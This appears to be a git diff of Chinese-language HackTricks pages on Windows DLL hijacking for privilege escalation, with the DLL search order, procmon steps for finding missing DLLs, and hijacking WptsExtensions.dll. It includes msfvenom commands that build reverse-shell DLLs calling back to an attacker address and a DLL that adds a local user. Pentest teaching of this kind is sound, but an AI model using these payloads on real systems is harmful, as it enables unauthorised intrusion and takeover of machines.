如果您在寻找 **缺失的 DLL**可以 **让它运行几秒钟**。\
如果您在寻找 **特定可执行文件中的缺失 DLL**您应该设置 **另一个过滤器,如 "Process Name" "contains" "\<exec name>",执行它,然后停止捕获事件**
## Exploiting Missing Dlls
为了提升权,我们最好的机会是能够 **编写一个特权进程将尝试加载的 DLL**,在 **将要搜索的某个位置**。因此,我们将能够 **在一个文件夹中编写** DLL该文件夹 **在搜索 DLL 之前**,或者我们将能够 **在某个文件夹中编写**,该文件夹 **将要搜索 DLL**,而原始 **DLL 在任何文件夹中都不存在**
为了提升权,我们最好的机会是能够 **编写一个特权进程将尝试加载的 DLL**,在 **将要搜索的某个位置**。因此,我们将能够 **在一个文件夹中编写** DLL该文件夹 **在搜索 DLL 之前**,或者我们将能够 **在某个文件夹中编写**,该文件夹 **将要搜索**,而原始 **DLL 在任何文件夹中都不存在**
### Dll Search Order
**在** [**Microsoft 文档**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **中,您可以找到 DLL 的具体加载方式。**
**Windows 应用程序** 按照一组 **预定义的搜索路径** 查找 DLL遵循特定的顺序。当有害 DLL 被战略性地放置在这些目录之一时DLL 劫持的问题就会出现,确保它在真实 DLL 之前被加载。防止这种情况的解决方案是确保应用程序在引用所需 DLL 时使用绝对路径。
**Windows 应用程序** 按照一组 **预定义的搜索路径** 查找 DLL遵循特定的顺序。当有害 DLL 被战略性地放置在这些目录中的一个时DLL 劫持的问题就出现了,确保它在真实 DLL 之前被加载。防止这种情况的解决方案是确保应用程序在引用所需 DLL 时使用绝对路径。
您可以在 32 位系统上看到 **DLL 搜索顺序**
@ -49,7 +49,7 @@ DLL Hijacking 涉及操纵受信任的应用程序加载恶意 DLL。这个术
3. 16 位系统目录。没有函数获取该目录的路径,但会进行搜索。 (_C:\Windows\System_)
4. Windows 目录。使用 [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) 函数获取该目录的路径。(_C:\Windows_)
5. 当前目录。
6. 在 PATH 环境变量中列出的目录。请注意,这不包括由 **App Paths** 注册表项指定的每个应用程序路径。计算 DLL 搜索路径时不使用 **App Paths** 键。
6. 在 PATH 环境变量中列出的目录。请注意,这不包括由 **App Paths** 注册表项指定的每个应用程序路径。计算 DLL 搜索路径时不使用 **App Paths** 键。
这是 **启用 SafeDllSearchMode****默认** 搜索顺序。当禁用时,当前目录提升到第二位。要禁用此功能,请创建 **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** 注册表值并将其设置为 0默认启用
@ -71,11 +71,11 @@ Windows 文档中指出了标准 DLL 搜索顺序的某些例外:
**Requirements**:
- 确定一个在 **不同** 下运行或将要运行的进程(水平或横向移动),该进程 **缺少 DLL**
- 确保在 **DLL** 将被 **搜索的任何目录** 中有 **写入权限**。此位置可能是可执行文件的目录或系统路径中的目录。
- 确定一个在 **不同权** 下运行或将要运行的进程(水平或横向移动),该进程 **缺少 DLL**
- 确保在 **搜索 DLL** 的任何 **目录** 中有 **写入访问权限**。此位置可能是可执行文件的目录或系统路径中的目录。
是的,要求很难找到,因为 **默认情况下,找到缺少 DLL 的特权可执行文件有点奇怪**,而且在系统路径文件夹中拥有写入权限更是 **奇怪**(默认情况下您无法做到)。但是,在配置错误的环境中,这是可能的。\
如果您运气好,满足要求,可以查看 [UACME](https://github.com/hfiref0x/UACME) 项目。即使该项目的 **主要目标是绕过 UAC**,您也可能在那里找到一个适用于您可以使用的 Windows 版本的 **DLL 劫持 PoC**(可能只需更改您有写入权限的文件夹路径)。
如果您运气好,满足要求,可以查看 [UACME](https://github.com/hfiref0x/UACME) 项目。即使 **该项目的主要目标是绕过 UAC**,您也可能在那里找到适用于您可以使用的 Windows 版本的 **DLL 劫持 PoC**(可能只需更改您有写入权限的文件夹路径)。
请注意,您可以通过以下方式 **检查文件夹中的权限**
```bash
@ -100,11 +100,11 @@ writable-sys-path-+dll-hijacking-privesc.md
### 自动化工具
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)将检查您是否在系统PATH中的任何文件夹上具有写入权限。\
其他发现此漏洞的有趣自动化工具**PowerSploit函数**_Find-ProcessDLLHijack__Find-PathDLLHijack_和_Write-HijackDll_。
其他发现此漏洞的有趣自动化工具包括**PowerSploit函数**_Find-ProcessDLLHijack__Find-PathDLLHijack_和_Write-HijackDll_。
### 示例
如果您发现一个可利用的场景,成功利用它的最重要的事情之一是**创建一个导出至少所有可执行文件将从中导入的函数的dll**。无论如何请注意Dll劫持在[**从中等完整性级别提升到高完整性级别绕过UAC**](../../authentication-credentials-uac-and-efs/#uac)或[**高完整性提升到SYSTEM**](../#from-high-integrity-to-system)**时非常有用。**您可以在这个专注于执行的dll劫持研究中找到**如何创建有效dll的示例[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**。**\
如果您发现一个可利用的场景,成功利用它的最重要的事情之一是**创建一个导出至少所有可执行文件将从中导入的函数的dll**。无论如何请注意Dll劫持在[**从中等完整性级别提升到高完整性绕过UAC**](../../authentication-credentials-uac-and-efs/index.html#uac)或[**高完整性提升到SYSTEM**](../index.html#from-high-integrity-to-system)**时非常有用。**您可以在这个专注于执行的dll劫持研究中找到**如何创建有效dll**的示例:[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**。**\
此外,在**下一节**中,您可以找到一些**基本dll代码**,这些代码可能作为**模板**或用于创建**导出非必需函数的dll**。
## **创建和编译Dll**
@ -113,7 +113,7 @@ writable-sys-path-+dll-hijacking-privesc.md
基本上,**Dll代理**是一个能够**在加载时执行您的恶意代码**的Dll同时也能**暴露**并**按预期工作**,通过**将所有调用转发到真实库**。
使用工具[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant)或[**Spartacus**](https://github.com/Accenture/Spartacus),您可以**指定一个可执行文件并选择要代理的库**,并**生成一个代理dll**,或**指定Dll并生成一个代理dll**。
使用工具[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant)或[**Spartacus**](https://github.com/Accenture/Spartacus),您可以实际**指定一个可执行文件并选择要代理的库**,并**生成一个代理dll**,或**指定Dll并生成一个代理dll**。
### **Meterpreter**
@ -125,7 +125,7 @@ msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
```
**创建用户x86 我没有看到 x64 版本):**
**创建用户x86我没有看到 x64 版本):**
```
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
```

View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## 介绍
## Introduction
如果你发现你可以**在系统路径文件夹中写入**(注意,如果你可以在用户路径文件夹中写入,这将不起作用),那么你可能可以**提升系统权限**。
@ -14,13 +14,13 @@
./
{{#endref}}
## 使用Dll Hijacking进行权限提升
## Privesc with Dll Hijacking
### 查找缺失的Dll
### Finding a missing Dll
你需要做的第一件事是**识别一个运行权限高于你的进程**,该进程试**从你可以写入的系统路径加载Dll**。
你需要做的第一件事是**识别一个正在运行的进程**,该进程的**权限高于你**,并且正在尝试**从你可以写入的系统路径加载Dll**。
在这种情况下的问题是,这些进程可能已经在运行。要找出哪些Dll缺失你需要尽快启动procmon在进程加载之前。因此要查找缺失的.dll请执行以下操作
在这种情况下的问题是,这些进程可能已经在运行。要找出缺少的Dll你需要尽快启动procmon在进程加载之前。因此要查找缺少的.dll请执行以下操作
- **创建**文件夹`C:\privesc_hijacking`并将路径`C:\privesc_hijacking`添加到**系统路径环境变量**。你可以**手动**完成此操作或使用**PS**
```powershell
@ -40,7 +40,7 @@ $newPath = "$envPath;$folderPath"
}
```
- 启动 **`procmon`**,然后转到 **`Options`** --> **`Enable boot logging`**,在提示中按 **`OK`**。
- 然后,**重启**。当计算机重新启动时,**`procmon`** 将开始尽快 **记录** 事件。
- 然后,**重启**。当计算机重新启动时,**`procmon`** 将开始 **记录** 事件。
- 一旦 **Windows** 启动,再次执行 **`procmon`**,它会告诉你它已经在运行,并会 **询问你是否想将** 事件存储在文件中。选择 **是****将事件存储在文件中**
- **在** **文件** 生成后,**关闭** 打开的 **`procmon`** 窗口并 **打开事件文件**
- 添加这些 **过滤器**,你将找到一些 **进程尝试从可写的系统路径文件夹加载的所有 Dll**
@ -49,7 +49,7 @@ $newPath = "$envPath;$folderPath"
### 漏掉的 Dll
在一台免费的 **虚拟 (vmware) Windows 11 机器** 上运行此操作,我得到了这些结果:
在一台免费的 **虚拟 (vmware) Windows 11 机器** 上运行此操作,我得到了以下结果:
<figure><img src="../../../images/image (607).png" alt=""><figcaption></figcaption></figure>
@ -61,13 +61,13 @@ $newPath = "$envPath;$folderPath"
| 诊断策略服务 (DPS) | Unknown.DLL | `C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s DPS` |
| ??? | SharedRes.dll | `C:\Windows\system32\svchost.exe -k UnistackSvcGroup` |
找到这个之后,我发现了一篇有趣的博客文章,它也解释了如何 [**滥用 WptsExtensions.dll 进行权限提升**](https://juggernaut-sec.com/dll-hijacking/#Windows_10_Phantom_DLL_Hijacking_-_WptsExtensionsdll)。这正是我们 **现在要做的**
找到这些后,我发现了一篇有趣的博客文章,也解释了如何 [**滥用 WptsExtensions.dll 进行权限提升**](https://juggernaut-sec.com/dll-hijacking/#Windows_10_Phantom_DLL_Hijacking_-_WptsExtensionsdll)。这正是我们 **现在要做的**
### 利用
因此,为了 **提升权限**,我们将劫持库 **WptsExtensions.dll**。拥有 **路径****名称** 后,我们只需 **生成恶意 dll**
你可以 [**尝试使用这些示例中的任何一个**](./#creating-and-compiling-dlls)。你可以运行有效载荷,例如:获取反向 shell添加用户执行信标...
你可以 [**尝试使用这些示例中的任何一个**](#creating-and-compiling-dlls)。你可以运行有效载荷,例如:获取反向 shell添加用户执行信标...
> [!WARNING]
> 请注意,**并非所有服务都以** **`NT AUTHORITY\SYSTEM`** 运行,有些服务也以 **`NT AUTHORITY\LOCAL SERVICE`** 运行,该服务具有 **较少的权限**,你 **将无法创建新用户** 来滥用其权限。\
@ -75,7 +75,7 @@ $newPath = "$envPath;$folderPath"
在撰写时,**任务调度程序** 服务以 **Nt AUTHORITY\SYSTEM** 运行。
生成了恶意 Dll 后(_在我的情况下,我使用了 x64 反向 shell并得到了一个 shell但防御者杀死了它因为它来自 msfvenom_),将其保存到可写的系统路径中,命名为 **WptsExtensions.dll**,并 **重启** 计算机(或重启服务,或做任何需要的事情以重新运行受影响的服务/程序)。
生成了 **恶意 Dll** 后(在我的情况下,我使用了 x64 反向 shell 并得到了一个 shell但防御者杀死了它因为它来自 msfvenom将其保存到可写的系统路径中命名为 **WptsExtensions.dll**,并 **重启** 计算机(或重启服务,或采取任何措施以重新运行受影响的服务/程序)。
当服务重新启动时,**dll 应该被加载和执行**(你可以 **重用** **procmon** 技巧来检查 **库是否按预期加载**)。